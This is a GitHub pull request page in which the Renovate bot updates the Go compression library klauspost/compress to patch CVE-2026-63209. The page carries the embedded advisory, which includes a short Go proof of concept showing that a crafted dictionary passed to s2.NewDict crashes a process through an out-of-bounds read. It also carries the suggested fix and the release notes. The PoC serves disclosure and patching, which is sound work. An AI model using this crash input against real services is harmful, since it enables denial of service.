Skip to content

Update module github.com/klauspost/compress to v1.18.7 [SECURITY] - #85

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/go-github.com-klauspost-compress-vulnerability
Open

Update module github.com/klauspost/compress to v1.18.7 [SECURITY]#85
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/go-github.com-klauspost-compress-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Jul 30, 2026 •
edited
Loading

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
github.com/klauspost/compress v1.16.7 → v1.18.7 age confidence

Compress/s2: Integer Overflow or Wraparound and Out-of-bounds Write in compress

CVE-2026-63209 / GHSA-259r-337f-4rfw / GO-2026-5841

More information

Details

Signed Integer Overflow in s2.NewDict
Summary

A signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV.

Package
  • Name: github.com/klauspost/compress/s2
  • Ecosystem: Go
  • Affected versions: <= v1.18.6 (all versions with NewDict function)
Severity

High (7.5) — CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Vulnerability
Type
  • CWE-190: Integer Overflow or Wraparound
  • CWE-787: Out-of-bounds Write (via unsafe.Pointer)
Description

The NewDict() function reads a uvarint from dictionary data and converts it to int:

r, n := binary.Uvarint(dict)
// ...
d.repeat = int(r)
if d.repeat > len(dict) {
    return nil
}

When r exceeds MaxInt64 (9223372036854775807), int(r) overflows to a negative value. Since a negative number is never greater than a positive length, the validation check is bypassed.

When Dict.Encode() is called, the negative repeat value causes an integer overflow in encodeBlockDictGo():

repeat := len(dict.dict) - dict.repeat  // overflows: 62 - (-5758978476775341977) = huge positive
candidate := len(dict.dict) - repeat + s // underflows to negative
load32(dict.dict, candidate)             // OOB via unsafe.Pointer

load32 calls le.Load32 which uses unsafe.Pointer arithmetic without bounds checking:

func Load32[I Indexer](b []byte, i I) uint32 {
    return *(*uint32)(unsafe.Add(unsafe.Pointer(unsafe.SliceData(b)), i))
}

This causes a segmentation fault (SIGSEGV) when the negative index is dereferenced.

PoC
package main

import (
    "encoding/binary"
    "fmt"
    "github.com/klauspost/compress/s2"
)

func main() {
    var dictData []byte
    buf := make([]byte, binary.MaxVarintLen64)
    n := binary.PutUvarint(buf, 12687765596934209639) // > MaxInt64
    dictData = append(dictData, buf[:n]...)
    dictData = append(dictData, make([]byte, 16)...) // minimum dict size

    dict := s2.NewDict(dictData)
    // dict is non-nil despite invalid repeat value (overflow bypassed validation)

    src := make([]byte, 64)
    for i := range src { src[i] = byte(i) }
    dict.Encode(nil, src) // SIGSEGV: OOB access via unsafe.Pointer
}
Impact
  • Denial of Service: The process crashes immediately with SIGSEGV
Attack Vector

Any application that:

  1. Accepts user-supplied S2 dictionary data via s2.NewDict()
  2. Calls Dict.Encode() on any data ≥32 bytes
Suggested Fix

Validate the uvarint value before converting to int:

if r > math.MaxInt64 {
    return nil
}
d.repeat = int(r)

Or use uint for the repeat field and validate against uint(len(dict)).

References
  • Source: s2/dict.go lines 59-61 (vulnerability), s2/encode_all.go line 947 (crash site)
  • Commit: 539243b (v1.18.6 + 4 commits)
Credits

Christopher Linke / https://github.com/celinke97/

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

OOB read in github.com/klauspost/compress/s2

CVE-2026-63209 / GHSA-259r-337f-4rfw / GO-2026-5841

More information

Details

Providing a specially crafted dictionary to s2.NewDict and using it to encode data can make the encoder read out of bounds.

Severity

Unknown

References

This data is provided by OSV and the Go Vulnerability Database (CC-BY 4.0).

Release Notes

klauspost/compress (github.com/klauspost/compress)

v1.18.7

Compare Source

  • Fix s2.NewDict OOB read.

Security release without other changes.

Full Changelog: klauspost/compress@v1.18.6...v1.18.7

v1.18.6

Compare Source

What's Changed

New Contributors

Full Changelog: klauspost/compress@v1.18.5...v1.18.6

v1.18.5

Compare Source

What's Changed

Full Changelog: klauspost/compress@v1.18.4...v1.18.5

v1.18.4

Compare Source

What's Changed

New Contributors

Full Changelog: klauspost/compress@v1.18.2...v1.18.4

v1.18.3

Compare Source

Downstream CVE-2025-61728

See golang/go#77102

Full Changelog: klauspost/compress@v1.18.2...v1.18.3

v1.18.2

Compare Source

What's Changed

v1.18.1 is marked "retracted" due to invalid flate/zip/gzip encoding.

New Contributors

Full Changelog: klauspost/compress@v1.18.1...v1.18.2

v1.18.1

Compare Source

What's Changed

New Contributors

Full Changelog: klauspost/compress@v1.18.0...v1.18.1

v1.18.0

Compare Source

What's Changed

New Contributors

Full Changelog: klauspost/compress@v1.17.11...v1.18.0

v1.17.11

Compare Source

What's Changed

New Contributors

Full Changelog: klauspost/compress@v1.17.10...v1.17.11

v1.17.10

Compare Source

What's Changed

New Contributors

Full Changelog: klauspost/compress@v1.17.9...v1.17.10

v1.17.9

Compare Source

What's Changed

Full Changelog: klauspost/compress@v1.17.8...v1.17.9

v1.17.8

Compare Source

What's Changed

New Contributors

Full Changelog: klauspost/compress@v1.17.7...v1.17.8

v1.17.7

Compare Source

What's Changed

Full Changelog: klauspost/compress@v1.17.6...v1.17.7

v1.17.6

Compare Source

What's Changed

Full Changelog: klauspost/compress@v1.17.5...v1.17.6

v1.17.5

Compare Source

What's Changed

New Contributors

Full Changelog: klauspost/compress@v1.17.4...v1.17.5

v1.17.4

Compare Source

What's Changed

New Contributors

Full Changelog: klauspost/compress@v1.17.3...v1.17.4

v1.17.3

Compare Source

What's Changed

Full Changelog: klauspost/compress@v1.17.2...v1.17.3

v1.17.2

Compare Source

What's Changed

Full Changelog: klauspost/compress@v1.17.1...v1.17.2

v1.17.1

Compare Source

What's Changed

New Contributors

Full Changelog: klauspost/compress@v1.17.0...v1.17.1

v1.17.0

Compare Source

What's Changed

New Contributors

Full Changelog: klauspost/compress@v1.16.7...v1.17.0

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate Bot added the automated label Jul 30, 2026
@renovate

renovate Bot commented Jul 30, 2026

Copy link
Copy Markdown
Contributor Author

ℹ️ Artifact update notice

File name: go.mod

In order to perform the update(s) described in the table above, Renovate ran the go get command, which resulted in the following additional change(s):

  • The go directive was updated for compatibility reasons

Details:

Package Change
go 1.20 -> 1.24

@renovate renovate Bot changed the title Update module github.com/klauspost/compress to v1.18.7 [SECURITY] Update module github.com/klauspost/compress to v1.18.7 [SECURITY] - autoclosed Aug 13, 2026
@renovate renovate Bot closed this Aug 13, 2026
@renovate
renovate Bot deleted the renovate/go-github.com-klauspost-compress-vulnerability branch August 13, 2026 07:52
@renovate renovate Bot changed the title Update module github.com/klauspost/compress to v1.18.7 [SECURITY] - autoclosed Update module github.com/klauspost/compress to v1.18.7 [SECURITY] Aug 14, 2026
@renovate renovate Bot reopened this Aug 14, 2026
@renovate
renovate Bot force-pushed the renovate/go-github.com-klauspost-compress-vulnerability branch 2 times, most recently from b58e346 to 52f3d7c Compare August 14, 2026 20:50
@renovate renovate Bot changed the title Update module github.com/klauspost/compress to v1.18.7 [SECURITY] Update module github.com/klauspost/compress to v1.18.7 [SECURITY] - autoclosed Aug 31, 2026
@renovate renovate Bot closed this Aug 31, 2026
@renovate renovate Bot changed the title Update module github.com/klauspost/compress to v1.18.7 [SECURITY] - autoclosed Update module github.com/klauspost/compress to v1.18.7 [SECURITY] Aug 31, 2026
@renovate renovate Bot reopened this Aug 31, 2026
@renovate
renovate Bot force-pushed the renovate/go-github.com-klauspost-compress-vulnerability branch 2 times, most recently from 52f3d7c to 36895e8 Compare August 31, 2026 15:02
@renovate renovate Bot changed the title Update module github.com/klauspost/compress to v1.18.7 [SECURITY] Update module github.com/klauspost/compress to v1.18.7 [SECURITY] - autoclosed Sep 17, 2026
@renovate renovate Bot closed this Sep 17, 2026
@renovate renovate Bot changed the title Update module github.com/klauspost/compress to v1.18.7 [SECURITY] - autoclosed Update module github.com/klauspost/compress to v1.18.7 [SECURITY] Sep 18, 2026
@renovate renovate Bot reopened this Sep 18, 2026
@renovate
renovate Bot force-pushed the renovate/go-github.com-klauspost-compress-vulnerability branch from 36895e8 to 5deb0d6 Compare September 18, 2026 20:14
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

No reviews

Assignees

No one assigned

Labels

automated

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

0 participants